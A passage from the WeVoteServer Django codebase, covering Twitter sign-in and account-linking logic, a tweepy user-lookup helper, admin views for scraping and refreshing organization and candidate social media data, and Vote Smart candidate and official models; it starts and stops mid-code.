'TWITTER_SIGN_IN_REQUEST_VOTER_INFO_TWEEPY_ERROR: ' error_tuple = error_instance.args for error_dict in error_tuple: for one_error in error_dict: status += '[' + one_error['message'] + '] ' if twitter_user_object_found: # We need to deal with these cases # 1) Does account already exist? results = voter_manager.retrieve_voter_by_twitter_id(tweepy_user_object.id) if results['voter_found'] and switch_accounts_if_needed: voter_found_with_twitter_id = results['voter'] switch_accounts = True # Relink this voter_device_id to the original account voter_device_manager = VoterDeviceLinkManager() voter_device_link_results = voter_device_manager.retrieve_voter_device_link(voter_device_id) voter_device_link = voter_device_link_results['voter_device_link'] update_voter_device_link_results = voter_device_manager.update_voter_device_link( voter_device_link, voter_found_with_twitter_id) if update_voter_device_link_results['voter_device_link_updated']: # Transfer access token and secret voter_found_with_twitter_id.twitter_access_token = voter.twitter_access_token voter_found_with_twitter_id.twitter_access_secret = voter.twitter_access_secret voter_found_with_twitter_id.save() status += "TWITTER_SIGN_IN-ALREADY_LINKED_TO_OTHER_ACCOUNT-TRANSFERRED " success = True save_user_results = voter_manager.save_twitter_user_values(voter_found_with_twitter_id, tweepy_user_object) if save_user_results['success']: voter_info_retrieved = True status += save_user_results['status'] else: status = "TWITTER_SIGN_IN-ALREADY_LINKED_TO_OTHER_ACCOUNT-COULD_NOT_TRANSFER " success = False # 2) If account doesn't exist for this person, save else: save_user_results = voter_manager.save_twitter_user_values(voter, tweepy_user_object) if save_user_results['success']: voter_info_retrieved = True results = { 'status': status, 'success': success, 'voter_device_id': voter_device_id, 'twitter_handle': twitter_handle, 'twitter_handle_found': twitter_handle_found, 'voter_info_retrieved': voter_info_retrieved, 'switch_accounts': switch_accounts, 'return_url': return_url, } return results ``` #### File: WeVoteServer/import_export_twitter/functions.py ```python from config.base import get_environment_variable import tweepy import wevote_functions.admin logger = wevote_functions.admin.get_logger(__name__) WE_VOTE_SERVER_ROOT_URL = get_environment_variable("WE_VOTE_SERVER_ROOT_URL") TWITTER_CONSUMER_KEY = get_environment_variable("TWITTER_CONSUMER_KEY") TWITTER_CONSUMER_SECRET = get_environment_variable("TWITTER_CONSUMER_SECRET") TWITTER_ACCESS_TOKEN = get_environment_variable("TWITTER_ACCESS_TOKEN") TWITTER_ACCESS_TOKEN_SECRET = get_environment_variable("TWITTER_ACCESS_TOKEN_SECRET") def retrieve_twitter_user_info(twitter_handle): auth = tweepy.OAuthHandler(TWITTER_CONSUMER_KEY, TWITTER_CONSUMER_SECRET) auth.set_access_token(TWITTER_ACCESS_TOKEN, TWITTER_ACCESS_TOKEN_SECRET) api = tweepy.API(auth) twitter_handle_found = False twitter_json = [] try: twitter_user = api.get_user(twitter_handle) twitter_json = twitter_user._json success = True status = 'TWITTER_RETRIEVE_SUCCESSFUL' twitter_handle_found = True except tweepy.RateLimitError: success = False status = 'TWITTER_RATE_LIMIT_ERROR' except tweepy.error.TweepError as error_instance: success = False status = '' error_tuple = error_instance.args for error_dict in error_tuple: for one_error in error_dict: status += '[' + one_error['message'] + '] ' results = { 'status': status, 'success': success, 'twitter_handle': twitter_handle, 'twitter_handle_found': twitter_handle_found, 'twitter_json': twitter_json, } return results ``` #### File: WeVoteServer/import_export_twitter/views_admin.py ```python from .controllers import refresh_twitter_candidate_details, retrieve_twitter_data_for_all_organizations, \ refresh_twitter_organization_details, \ scrape_social_media_from_one_site, refresh_twitter_candidate_details_for_election, \ scrape_and_save_social_media_for_candidates_in_one_election, scrape_and_save_social_media_from_all_organizations, \ transfer_candidate_twitter_handles_from_google_civic from .functions import retrieve_twitter_user_info from admin_tools.views import redirect_to_sign_in_page from candidate.models import CandidateCampaignManager from django.contrib.auth.decorators import login_required from django.contrib import messages from django.core.urlresolvers import reverse from django.http import HttpResponseRedirect from organization.controllers import update_social_media_statistics_in_other_tables from organization.models import OrganizationManager from voter.models import voter_has_authority import wevote_functions.admin from wevote_functions.functions import convert_to_int, positive_value_exists logger = wevote_functions.admin.get_logger(__name__) @login_required def refresh_twitter_candidate_details_view(request, candidate_id): authority_required = {'verified_volunteer'} # admin, verified_volunteer if not voter_has_authority(request, authority_required): return redirect_to_sign_in_page(request, authority_required) candidate_manager = CandidateCampaignManager() results = candidate_manager.retrieve_candidate_campaign(candidate_id) if not results['candidate_campaign_found']: messages.add_message(request, messages.INFO, results['status']) return HttpResponseRedirect(reverse('candidate:candidate_edit', args=(candidate_id,))) candidate_campaign = results['candidate_campaign'] results = refresh_twitter_candidate_details(candidate_campaign) return HttpResponseRedirect(reverse('candidate:candidate_edit', args=(candidate_id,))) @login_required def refresh_twitter_organization_details_view(request, organization_id): authority_required = {'verified_volunteer'} # admin, verified_volunteer if not voter_has_authority(request, authority_required): return redirect_to_sign_in_page(request, authority_required) google_civic_election_id = request.GET.get('google_civic_election_id', 0) organization_manager = OrganizationManager() results = organization_manager.retrieve_organization(organization_id) if not results['organization_found']: messages.add_message(request, messages.INFO, results['status']) return HttpResponseRedirect(reverse('organization:organization_edit', args=(organization_id,)) + '?google_civic_election_id=' + str(google_civic_election_id)) organization = results['organization'] results = refresh_twitter_organization_details(organization) return HttpResponseRedirect(reverse('organization:organization_position_list', args=(organization_id,)) + '?google_civic_election_id=' + str(google_civic_election_id)) @login_required def refresh_twitter_politician_details_view(request, politician_id): # TODO DALE Get this working for politicians authority_required = {'verified_volunteer'} # admin, verified_volunteer if not voter_has_authority(request, authority_required): return redirect_to_sign_in_page(request, authority_required) # candidate_manager = CandidateCampaignManager() # results = candidate_manager.retrieve_candidate_campaign(candidate_id) # # if not results['candidate_campaign_found']: # messages.add_message(request, messages.INFO, results['status']) # return HttpResponseRedirect(reverse('candidate:candidate_edit', args=(candidate_id,))) # # candidate_campaign = results['candidate_campaign'] # # results = refresh_twitter_candidate_details(candidate_campaign) return HttpResponseRedirect(reverse('politician:politician_edit', args=(politician_id,))) @login_required def scrape_website_for_social_media_view(request, organization_id, force_retrieve=False): authority_required = {'admin'} # admin, verified_volunteer if not voter_has_authority(request, authority_required): return redirect_to_sign_in_page(request, authority_required) facebook_page = False twitter_handle = False organization_manager = OrganizationManager() results = organization_manager.retrieve_organization(organization_id) if not results['organization_found']: messages.add_message(request, messages.INFO, results['status']) return HttpResponseRedirect(reverse('organization:organization_edit', args=(organization_id,))) organization = results['organization'] if not organization.organization_website: messages.add_message(request, messages.ERROR, "No organizational website found.") return HttpResponseRedirect(reverse('organization:organization_position_list', args=(organization_id,))) if (not positive_value_exists(organization.organization_twitter_handle)) or \ (not positive_value_exists(organization.organization_facebook)) or force_retrieve: scrape_results = scrape_social_media_from_one_site(organization.organization_website) if scrape_results['twitter_handle_found']: twitter_handle = scrape_results['twitter_handle'] messages.add_message(request, messages.INFO, "Twitter handle found: " + twitter_handle) else: messages.add_message(request, messages.INFO, "No Twitter handle found: " + scrape_results['status']) if scrape_results['facebook_page_found']: facebook_page = scrape_results['facebook_page'] messages.add_message(request, messages.INFO, "Facebook page found: " + facebook_page) save_results = organization_manager.update_organization_social_media(organization, twitter_handle, facebook_page) if save_results['success']: organization = save_results['organization'] else: organization.organization_twitter_handle = twitter_handle # Store it temporarily # ###################################### if organization.organization_twitter_handle: results = retrieve_twitter_user_info(organization.organization_twitter_handle) if results['success']: save_results = organization_manager.update_organization_twitter_details( organization, results['twitter_json']) if save_results['success']: organization = save_results['organization'] results = update_social_media_statistics_in_other_tables(organization) # ###################################### return HttpResponseRedirect(reverse('organization:organization_position_list', args=(organization_id,))) @login_required def retrieve_twitter_data_for_all_organizations_view(request): authority_required = {'admin'} # admin, verified_volunteer if not voter_has_authority(request, authority_required): return redirect_to_sign_in_page(request, authority_required) organization_state_code = request.GET.get('organization_state', '') google_civic_election_id = request.GET.get('google_civic_election_id', 0) first_retrieve_only = request.GET.get('first_retrieve_only', True) results = retrieve_twitter_data_for_all_organizations(state_code=organization_state_code, google_civic_election_id=google_civic_election_id, first_retrieve_only=first_retrieve_only) if not results['success']: messages.add_message(request, messages.INFO, results['status']) else: number_of_twitter_accounts_queried = results['number_of_twitter_accounts_queried'] number_of_organizations_updated = results['number_of_organizations_updated'] messages.add_message(request, messages.INFO, "Twitter accounts queried: {number_of_twitter_accounts_queried}, " "Organizations updated: {number_of_organizations_updated}".format( number_of_twitter_accounts_queried=number_of_twitter_accounts_queried, number_of_organizations_updated=number_of_organizations_updated)) return HttpResponseRedirect(reverse('organization:organization_list', args=()) + '?organization_state=' + organization_state_code) @login_required def scrape_social_media_from_all_organizations_view(request): authority_required = {'admin'} # admin, verified_volunteer if not voter_has_authority(request, authority_required): return redirect_to_sign_in_page(request, authority_required) organization_state_code = request.GET.get('organization_state', '') force_retrieve = request.GET.get('force_retrieve', False) # Retrieve data again even if we already have data results = scrape_and_save_social_media_from_all_organizations(state_code=organization_state_code, force_retrieve=force_retrieve) if not results['success']: messages.add_message(request, messages.INFO, results['status']) else: twitter_handles_found = results['twitter_handles_found'] messages.add_message(request, messages.INFO, "Social media retrieved. Twitter handles found: {twitter_handles_found}".format( twitter_handles_found=twitter_handles_found)) return HttpResponseRedirect(reverse('organization:organization_list', args=()) + '?organization_state=' + organization_state_code) @login_required def scrape_social_media_for_candidates_in_one_election_view(request): authority_required = {'admin'} # admin, verified_volunteer if not voter_has_authority(request, authority_required): return redirect_to_sign_in_page(request, authority_required) google_civic_election_id = request.GET.get('google_civic_election_id', 0) results = scrape_and_save_social_media_for_candidates_in_one_election( google_civic_election_id=google_civic_election_id) if not results['success']: messages.add_message(request, messages.INFO, results['status']) else: twitter_handles_found = results['twitter_handles_found'] messages.add_message(request, messages.INFO, "Social media retrieved. Twitter handles found: {twitter_handles_found}".format( twitter_handles_found=twitter_handles_found)) return HttpResponseRedirect(reverse('candidate:candidate_list', args=()) + '?google_civic_election_id=' + str(google_civic_election_id)) @login_required def refresh_twitter_candidate_details_for_election_view(request, election_id): authority_required = {'admin'} # admin, verified_volunteer if not voter_has_authority(request, authority_required): return redirect_to_sign_in_page(request, authority_required) google_civic_election_id = convert_to_int(election_id) results = refresh_twitter_candidate_details_for_election(google_civic_election_id=google_civic_election_id) if not results['success']: messages.add_message(request, messages.INFO, results['status']) else: twitter_handles_added = results['twitter_handles_added'] profiles_refreshed_with_twitter_data = results['profiles_refreshed_with_twitter_data'] messages.add_message(request, messages.INFO, "Social media retrieved. Twitter handles added: {twitter_handles_added}, " "Profiles refreshed with Twitter data: {profiles_refreshed_with_twitter_data}".format( twitter_handles_added=twitter_handles_added, profiles_refreshed_with_twitter_data=profiles_refreshed_with_twitter_data)) return HttpResponseRedirect(reverse('candidate:candidate_list', args=()) + '?google_civic_election_id=' + election_id) @login_required def transfer_candidate_twitter_handles_from_google_civic_view(request): authority_required = {'verified_volunteer'} # admin, verified_volunteer if not voter_has_authority(request, authority_required): return redirect_to_sign_in_page(request, authority_required) google_civic_election_id = request.GET.get('google_civic_election_id', 0) results = transfer_candidate_twitter_handles_from_google_civic( google_civic_election_id=google_civic_election_id) if not results['success']: messages.add_message(request, messages.INFO, results['status']) else: twitter_handles_transferred = results['twitter_handles_transferred'] messages.add_message(request, messages.INFO, "Twitter handles transferred: {twitter_handles_transferred}".format( twitter_handles_transferred=twitter_handles_transferred)) return HttpResponseRedirect(reverse('candidate:candidate_list', args=()) + '?google_civic_election_id=' + str(google_civic_election_id)) ``` #### File: WeVoteServer/import_export_vote_smart/models.py ```python from datetime import date, timedelta from django.db import models from django.db.models import Q from organization.models import OrganizationManager, Organization import wevote_functions.admin from wevote_functions.functions import convert_to_int, positive_value_exists logger = wevote_functions.admin.get_logger(__name__) class VoteSmartApiCounter(models.Model): # The data and time we reached out to the Google Civic API datetime_of_action = models.DateTimeField(verbose_name='date and time of action', null=False, auto_now=True) kind_of_action = models.CharField(verbose_name="kind of call to vote smart", max_length=50, null=True, blank=True) # Store the election this is for google_civic_election_id = models.PositiveIntegerField(verbose_name="google civic election id", null=True) # This table contains summary entries generated from individual entries stored in the VoteSmartApiCounter table class VoteSmartApiCounterDailySummary(models.Model): # The date (without time) we are summarizing date_of_action = models.DateField(verbose_name='date of action', null=False, auto_now=False) # For each day we will have an "all" entry, as well as one entry with the total number (per day) # of each kind of call to Google kind_of_action = models.CharField(verbose_name="kind of call to vote smart", max_length=50, null=True, blank=True) # Store the election this is for google_civic_election_id = models.PositiveIntegerField(verbose_name="google civic election id", null=True) # This table contains summary entries generated from individual entries stored in the VoteSmartApiCounter table class VoteSmartApiCounterWeeklySummary(models.Model): # The year as a 4 digit integer year_of_action = models.SmallIntegerField(verbose_name='year of action', null=False) # The week in this year as a number between 1-52 # For each week we will have an "all" entry, as well as one entry with the total number (per day) # of each kind of call to Google week_of_action = models.SmallIntegerField(verbose_name='number of the week', null=False) kind_of_action = models.CharField(verbose_name="kind of call to vote smart", max_length=50, null=True, blank=True) # Store the election this is for google_civic_election_id = models.PositiveIntegerField(verbose_name="google civic election id", null=True) # This table contains summary entries generated from individual entries stored in the VoteSmartApiCounter table class VoteSmartApiCounterMonthlySummary(models.Model): # The year as a 4 digit integer year_of_action = models.SmallIntegerField(verbose_name='year of action', null=False) # The week in this year as a number between 1-52 # For each month we will have an "all" entry, as well as one entry with the total number (per day) # of each kind of call to Google month_of_action = models.SmallIntegerField(verbose_name='number of the month', null=False) kind_of_action = models.CharField(verbose_name="kind of call to vote smart", max_length=50, null=True, blank=True) # Store the election this is for google_civic_election_id = models.PositiveIntegerField(verbose_name="google civic election id", null=True) # noinspection PyBroadException class VoteSmartApiCounterManager(models.Model): def create_counter_entry(self, kind_of_action, google_civic_election_id=0): """ Create an entry that records that a call to the Vote Smart Api was made. """ try: google_civic_election_id = convert_to_int(google_civic_election_id) # TODO: We need to work out the timezone questions VoteSmartApiCounter.objects.create( kind_of_action=kind_of_action, google_civic_election_id=google_civic_election_id, ) success = True status = 'ENTRY_SAVED' except Exception: success = False status = 'SOME_ERROR' results = { 'success': success, 'status': status, } return results def retrieve_daily_summaries(self, kind_of_action='', google_civic_election_id=0): # Start with today and cycle backwards in time daily_summaries = [] day_on_stage = date.today() # TODO: We need to work out the timezone questions number_found = 0 maximum_attempts = 30 attempt_count = 0 try: # Limit the number of times this runs to EITHER 1) 5 positive numbers # OR 2) 30 days in the past, whichever comes first while number_found <= 5 and attempt_count <= maximum_attempts: attempt_count += 1 counter_queryset = VoteSmartApiCounter.objects.all() if positive_value_exists(kind_of_action): counter_queryset = counter_queryset.filter(kind_of_action=kind_of_action) if positive_value_exists(google_civic_election_id): counter_queryset = counter_queryset.filter(google_civic_election_id=google_civic_election_id) # Find the number of these entries on that particular day counter_queryset = counter_queryset.filter(datetime_of_action__contains=day_on_stage) api_call_count = len(counter_queryset) # If any api calls were found on that date, pass it out for display if positive_value_exists(api_call_count): daily_summary = { 'date_string': day_on_stage, 'count': api_call_count, } daily_summaries.append(daily_summary) number_found += 1 day_on_stage -= timedelta(days=1) except Exception: pass return daily_summaries class VoteSmartCandidateManager(models.Model): def __unicode__(self): return "VoteSmartCandidateManager" def retrieve_candidate_from_vote_smart_id(self, vote_smart_candidate_id): return self.retrieve_vote_smart_candidate(vote_smart_candidate_id) def retrieve_vote_smart_candidate_from_we_vote_id(self, we_vote_id): vote_smart_candidate_id = 0 vote_smart_candidate_manager = VoteSmartCandidateManager() return vote_smart_candidate_manager.retrieve_vote_smart_candidate(vote_smart_candidate_id, we_vote_id) def fetch_vote_smart_candidate_id_from_we_vote_id(self, we_vote_id): vote_smart_candidate_id = 0 vote_smart_candidate_manager = VoteSmartCandidateManager() results = vote_smart_candidate_manager.retrieve_vote_smart_candidate(vote_smart_candidate_id, we_vote_id) if results['success']: return results['vote_smart_candidate_id'] return 0 # # def retrieve_vote_smart_candidate_from_we_vote_local_id(self, local_candidate_id): # vote_smart_candidate_id = 0 # we_vote_id = '' # vote_smart_candidate_manager = VoteSmartCandidateManager() # return vote_smart_candidate_manager.retrieve_vote_smart_candidate( # vote_smart_candidate_id, we_vote_id, candidate_maplight_id) # # def retrieve_vote_smart_candidate_from_full_name(self, candidate_name, state_code=None): # vote_smart_candidate_id = 0 # we_vote_id = '' # candidate_maplight_id = '' # vote_smart_candidate_manager = VoteSmartCandidateManager() # # results = vote_smart_candidate_manager.retrieve_vote_smart_candidate( # vote_smart_candidate_id, first_name, last_name, state_code) # return results def retrieve_vote_smart_candidate_from_name_components(self, first_name=None, last_name=None, state_code=None): vote_smart_candidate_id = 0 vote_smart_candidate_manager = VoteSmartCandidateManager() results = vote_smart_candidate_manager.retrieve_vote_smart_candidate( vote_smart_candidate_id, first_name, last_name, state_code) return results # NOTE: searching by all other variables seems to return a list of objects def retrieve_vote_smart_candidate( self, vote_smart_candidate_id=None, first_name=None, last_name=None, state_code=None): """ We want to return one and only one candidate :param vote_smart_candidate_id: :param first_name: :param last_name: :param state_code: :return: """ error_result = False exception_does_not_exist = False exception_multiple_object_returned = False vote_smart_candidate = VoteSmartCandidate() try: if positive_value_exists(vote_smart_candidate_id): vote_smart_candidate = VoteSmartCandidate.objects.get(candidateId=vote_smart_candidate_id) vote_smart_candidate_id = convert_to_int(vote_smart_candidate.candidateId) status = "RETRIEVE_VOTE_SMART_CANDIDATE_FOUND_BY_ID" elif positive_value_exists(first_name) or positive_value_exists(last_name): candidate_queryset = VoteSmartCandidate.objects.all() if positive_value_exists(first_name): first_name = first_name.replace("`", "'") # Vote Smart doesn't like this kind of apostrophe: ` candidate_queryset = candidate_queryset.filter(Q(firstName__istartswith=first_name) | Q(nickName__istartswith=first_name) | Q(preferredName__istartswith=first_name)) if positive_value_exists(last_name): last_name = last_name.replace("`", "'") # Vote Smart doesn't like this kind of apostrophe: ` candidate_queryset = candidate_queryset.filter(lastName__iexact=last_name) if positive_value_exists(state_code): candidate_queryset = candidate_queryset.filter(Q(electionStateId__iexact=state_code) | Q(electionStateId__iexact="NA")) vote_smart_candidate_list = list(candidate_queryset[:1]) if vote_smart_candidate_list: vote_smart_candidate = vote_smart_candidate_list[0] else: vote_smart_candidate = VoteSmartCandidate() vote_smart_candidate_id = convert_to_int(vote_smart_candidate.candidateId) status = "RETRIEVE_VOTE_SMART_CANDIDATE_FOUND_BY_NAME" else: status = "RETRIEVE_VOTE_SMART_CANDIDATE_SEARCH_INDEX_MISSING" except VoteSmartCandidate.MultipleObjectsReturned as e: exception_multiple_object_returned = True status = "RETRIEVE_VOTE_SMART_CANDIDATE_MULTIPLE_OBJECTS_RETURNED" except VoteSmartCandidate.DoesNotExist: exception_does_not_exist = True status = "RETRIEVE_VOTE_SMART_CANDIDATE_NOT_FOUND" results = { 'success': True if positive_value_exists(vote_smart_candidate_id) else False, 'status': status, 'error_result': error_result, 'DoesNotExist': exception_does_not_exist, 'MultipleObjectsReturned': exception_multiple_object_returned, 'vote_smart_candidate_found': True if positive_value_exists(vote_smart_candidate_id) else False, 'vote_smart_candidate_id': vote_smart_candidate_id, 'vote_smart_candidate': vote_smart_candidate, } return results def retrieve_vote_smart_candidate_bio(self, vote_smart_candidate_id): error_result = False exception_does_not_exist = False exception_multiple_object_returned = False vote_smart_candidate_bio = VoteSmartCandidateBio() vote_smart_candidate_bio_found = False try: if positive_value_exists(vote_smart_candidate_id): vote_smart_candidate_bio = VoteSmartCandidateBio.objects.get(candidateId=vote_smart_candidate_id) vote_smart_candidate_id = convert_to_int(vote_smart_candidate_bio.candidateId) vote_smart_candidate_bio_found = True status = "RETRIEVE_VOTE_SMART_CANDIDATE_BIO_FOUND_BY_ID" success = True else: status = "RETRIEVE_VOTE_SMART_CANDIDATE_BIO_ID_MISSING" success = False except VoteSmartCandidateBio.MultipleObjectsReturned as e: exception_multiple_object_returned = True status = "RETRIEVE_VOTE_SMART_CANDIDATE_BIO_MULTIPLE_OBJECTS_RETURNED" success = False except VoteSmartCandidateBio.DoesNotExist: exception_does_not_exist = True status = "RETRIEVE_VOTE_SMART_CANDIDATE_BIO_NOT_FOUND" success = False results = { 'success': success, 'status': status, 'error_result': error_result, 'DoesNotExist': exception_does_not_exist, 'MultipleObjectsReturned': exception_multiple_object_returned, 'vote_smart_candidate_bio_found': vote_smart_candidate_bio_found, 'vote_smart_candidate_id': vote_smart_candidate_id, 'vote_smart_candidate_bio': vote_smart_candidate_bio, } return results class VoteSmartCandidate(models.Model): """http://api.votesmart.org/docs/Candidates.html """ candidateId = models.CharField(max_length=15, primary_key=True) firstName = models.CharField(max_length=255) nickName = models.CharField(max_length=255) middleName = models.CharField(max_length=255) preferredName = models.CharField(max_length=255) lastName = models.CharField(max_length=255) suffix = models.CharField(max_length=255) title = models.CharField(max_length=255) ballotName = models.CharField(max_length=255) electionParties = models.CharField(max_length=255) electionStatus = models.CharField(max_length=255) electionStage = models.CharField(max_length=255) electionDistrictId = models.CharField(max_length=255) electionDistrictName = models.CharField(max_length=255) electionOffice = models.CharField(max_length=255) electionOfficeId = models.CharField(max_length=255) electionStateId = models.CharField(max_length=255) electionOfficeTypeId = models.CharField(max_length=255) electionYear = models.CharField(max_length=255) electionSpecial = models.CharField(max_length=255) electionDate = models.CharField(max_length=255) officeParties = models.CharField(max_length=255) officeStatus = models.CharField(max_length=255) officeDistrictId = models.CharField(max_length=255) officeDistrictName = models.CharField(max_length=255) officeStateId = models.CharField(max_length=255) officeId = models.CharField(max_length=255) officeName = models.CharField(max_length=255) officeTypeId = models.CharField(max_length=255) runningMateId = models.CharField(max_length=255) runningMateName = models.CharField(max_length=255) def vote_smart_candidate_object_filter(one_candidate): """ Filter down the complete dict from Vote Smart to just the fields we use locally :param one_candidate: :return: """ one_candidate_filtered = { 'candidateId': one_candidate.candidateId, 'firstName': one_candidate.firstName, 'nickName': one_candidate.nickName, 'middleName': one_candidate.middleName, 'preferredName': one_candidate.preferredName, 'lastName': one_candidate.lastName, 'suffix': one_candidate.suffix, 'title': one_candidate.title, 'ballotName': one_candidate.ballotName, 'electionParties': one_candidate.electionParties, 'electionStatus': one_candidate.electionStatus, 'electionStage': one_candidate.electionStage, 'electionDistrictId': one_candidate.electionDistrictId, 'electionDistrictName': one_candidate.electionDistrictName, 'electionOffice': one_candidate.electionOffice, 'electionOfficeId': one_candidate.electionOfficeId, 'electionStateId': one_candidate.electionStateId, 'electionOfficeTypeId': one_candidate.electionOfficeTypeId, 'electionYear': one_candidate.electionYear, 'electionSpecial': one_candidate.electionSpecial, 'electionDate': one_candidate.electionDate, 'officeParties': one_candidate.officeParties, 'officeStatus': one_candidate.officeStatus, 'officeDistrictId': one_candidate.officeDistrictId, 'officeDistrictName': one_candidate.officeDistrictName, 'officeStateId': one_candidate.officeStateId, 'officeId': one_candidate.officeId, 'officeName': one_candidate.officeName, 'officeTypeId': one_candidate.officeTypeId, 'runningMateId': one_candidate.runningMateId, 'runningMateName': one_candidate.runningMateName, } return one_candidate_filtered class VoteSmartCandidateBio(models.Model): """ http://api.votesmart.org/docs/CandidateBio.html """ candidateId = models.CharField(max_length=15, primary_key=True) crpId = models.CharField(max_length=15) # OpenSecrets ID firstName = models.CharField(max_length=255) nickName = models.CharField(max_length=255) middleName = models.CharField(max_length=255) lastName = models.CharField(max_length=255) preferredName = models.CharField(max_length=255) suffix = models.CharField(max_length=255) birthDate = models.CharField(max_length=255) birthPlace = models.CharField(max_length=255) pronunciation = models.CharField(max_length=255) gender = models.CharField(max_length=255) family = models.CharField(max_length=255) photo = models.CharField(max_length=255) homeCity = models.CharField(max_length=255) homeState = models.CharField(max_length=255) religion = models.CharField(max_length=255) # specialMsg = models.CharField(max_length=255) # parties = models.CharField(max_length=255) # title = models.CharField(max_length=255) # shortTitle = models.CharField(max_length=255) # name = models.CharField(max_length=255) # type = models.CharField(max_length=255) # status = models.CharField(max_length=255) # firstElect = models.CharField(max_length=255) # lastElect = models.CharField(max_length=255) # nextElect = models.CharField(max_length=255) # termStart = models.CharField(max_length=255) # termEnd = models.CharField(max_length=255) # district = models.CharField(max_length=255) # districtId = models.CharField(max_length=255) # stateId = models.CharField(max_length=255) education = models.CharField(max_length=255) # profession def vote_smart_candidate_bio_object_filter(one_candidate_bio): """ Filter down the complete dict from Vote Smart to just the fields we use locally :param one_candidate_bio: :return: """ one_candidate_bio_filtered = { 'candidateId': one_candidate_bio.candidateId, 'crpId': one_candidate_bio.crpId, # Open Secrets ID 'firstName': one_candidate_bio.firstName, 'nickName': one_candidate_bio.nickName, 'middleName': one_candidate_bio.middleName, 'lastName': one_candidate_bio.lastName, 'suffix': one_candidate_bio.suffix, 'birthDate': one_candidate_bio.birthDate, 'birthPlace': one_candidate_bio.birthPlace, 'pronunciation': one_candidate_bio.pronunciation, 'gender': one_candidate_bio.gender, 'family': one_candidate_bio.family, 'photo': one_candidate_bio.photo, 'homeCity': one_candidate_bio.homeCity, 'homeState': one_candidate_bio.homeState, 'religion': one_candidate_bio.religion, # 'specialMsg': one_candidate_bio.specialMsg, # 'parties': one_candidate_bio.parties, # 'title': one_candidate_bio.title, # 'shortTitle': one_candidate_bio.shortTitle, # 'name': one_candidate_bio.name, # 'type': one_candidate_bio.type, # 'status': one_candidate_bio.status, # 'firstElect': one_candidate_bio.firstElect, # 'lastElect': one_candidate_bio.lastElect, # 'nextElect': one_candidate_bio.nextElect, # 'termStart': one_candidate_bio.termStart, # 'termEnd': one_candidate_bio.termEnd, # 'district': one_candidate_bio.district, # 'districtId': one_candidate_bio.districtId, # 'stateId': one_candidate_bio.stateId, } return one_candidate_bio_filtered class VoteSmartOfficialManager(models.Model): def __unicode__(self): return "VoteSmartOfficialManager" def retrieve_official_from_vote_smart_id(self, vote_smart_candidate_id): return self.retrieve_vote_smart_official(vote_smart_candidate_id) def retrieve_vote_smart_official_from_we_vote_id(self, we_vote_id): vote_smart_candidate_id = 0 vote_smart_official_manager = VoteSmartOfficialManager() return vote_smart_official_manager.retrieve_vote_smart_official(vote_smart_candidate_id, we_vote_id) def fetch_vote_smart_candidate_id_from_we_vote_id(self, we_vote_id): vote_smart_candidate_id = 0 vote_smart_official_manager = VoteSmartOfficialManager() results = vote_smart_official_manager.retrieve_vote_smart_official(vote_smart_candidate_id, we_vote_id) if results['success']: return results['vote_smart_candidate_id'] return 0 # # def retrieve_vote_smart_official_from_we_vote_local_id(self, local_official_id): # vote_smart_candidate_id = 0 # we_vote_id = '' # vote_smart_official_manager = VoteSmartOfficialManager() # return vote_smart_official_manager.retrieve_vote_smart_official( # vote_smart_candidate_id, we_vote_id, official_maplight_id) # # def retrieve_vote_smart_official_from_full_name(self, official_name, state_code=None): # vote_smart_candidate_id = 0 # we_vote_id = '' # official_maplight_id = '' # vote_smart_official_manager = VoteSmartOfficialManager() # # results = vote_smart_official_manager.retrieve_vote_smart_official( # vote_smart_candidate_id, first_name, last_name, state_code) # return results def retrieve_vote_smart_official_from_name_components(self, first_name=None, last_name=None, state_code=None): vote_smart_candidate_id = 0 vote_smart_official_manager = VoteSmartOfficialManager() results = vote_smart_official_manager.retrieve_vote_smart_official( vote_smart_candidate_id, first_name, last_name, state_code) return results # NOTE: searching by all other variables seems to return a list of objects def retrieve_vote_smart_official( self, vote_smart_candidate_id=None, first_name=None, last_name=None, state_code=None): """ We want to return one and only one official :param vote_smart_candidate_id: :param first_name: :param last_name: :param state_code: :return: """ error_result = False exception_does_not_exist = False exception_multiple_object_returned = False vote_smart_official = VoteSmartOfficial() try: if positive_value_exists(vote_smart_candidate_id): vote_smart_official = VoteSmartOfficial.objects.get(candidateId=vote_smart_candidate_id) vote_smart_candidate_id = convert_to_int(vote_smart_official.candidateId) status = "RETRIEVE_VOTE_SMART_OFFICIAL_FOUND_BY_ID" elif positive_value_exists(first_name) or positive_value_exists(last_name): official_queryset = VoteSmartOfficial.objects.all() if positive_value_exists(first_name): official_queryset = official_queryset.filter(firstName__istartswith=first_name) if positive_value_exists(last_name): official_queryset = official_queryset.filter(lastName__iexact=last_name) if positive_value_exists(state_code): official_queryset = official_queryset.filter(officeStateId__iexact=state_code) vote_smart_official_list = list(official_queryset[:1]) if vote_smart_official_list: vote_smart_official = vote_smart_official_list[0] else: vote_smart_official = VoteSmartOfficial() vote_smart_candidate_id = convert_to_int(vote_smart_official.candidateId) status = "RETRIEVE_VOTE_SMART_OFFICIAL_FOUND_BY_NAME" else: status = "RETRIEVE_VOTE_SMART_OFFICIAL_SEARCH_INDEX_MISSING" except VoteSmartOfficial.MultipleObjectsReturned as e: exception_multiple_object_returned = True status = "RETRIEVE_VOTE_SMART_OFFICIAL_MULTIPLE_OBJECTS_RETURNED" except VoteSmartOfficial.DoesNotExist: exception_does_not_exist = True status = "RETRIEVE_VOTE_SMART_OFFICIAL_NOT_FOUND" results = { 'success': True if positive_value_exists(vote_smart_candidate_id) else False, 'status': status, 'error_result': error_result, 'DoesNotExist': exception_does_not_exist, 'MultipleObjectsReturned': exception_multiple_object_returned, 'vote_smart_official_found': True if positive_value_exists(vote_smart_candidate_id) else False, 'vote_smart_candidate_id': vote_smart_candidate_id, 'vote_smart_official': vote_smart_official, } return results class VoteSmartOfficial(models.Model): """ http://api.votesmart.org/docs/Officials.html """ candidateId = models.CharField(max_length=15, primary_key=True) firstName = models.CharField(max_length=255) nickName = models.CharField(max_length=255) middleName = models.CharField(max_length=255) lastName = models.CharField(max_length=255) suffix = models.CharField(max_length=255) title = models.CharField(max_length=255) electionParties = models.CharField(max_length=255) officeParties = models.CharField(max_length=255) officeStatus = models.CharField(max_length=255) officeDistrictId = models.CharField(max_length=255) officeDistrictName = models.CharField(max_length=255) officeTypeId = models.CharField(max_length=255) officeId = models.CharField(max_length=255) officeName = models.CharField(max_length=255) officeStateId = models.CharField(max_length=255) def vote_smart_official_object_filter(one_official): """ Filter down the complete dict from Vote Smart to just the fields we use locally :param one_official: :return: """ one_official_filtered = { 'candidateId': one_official.candidateId, 'firstName': one_official.firstName, 'nickName': one_official.nickName, 'middleName': one_official.middleName, 'lastName': one_official.lastName, 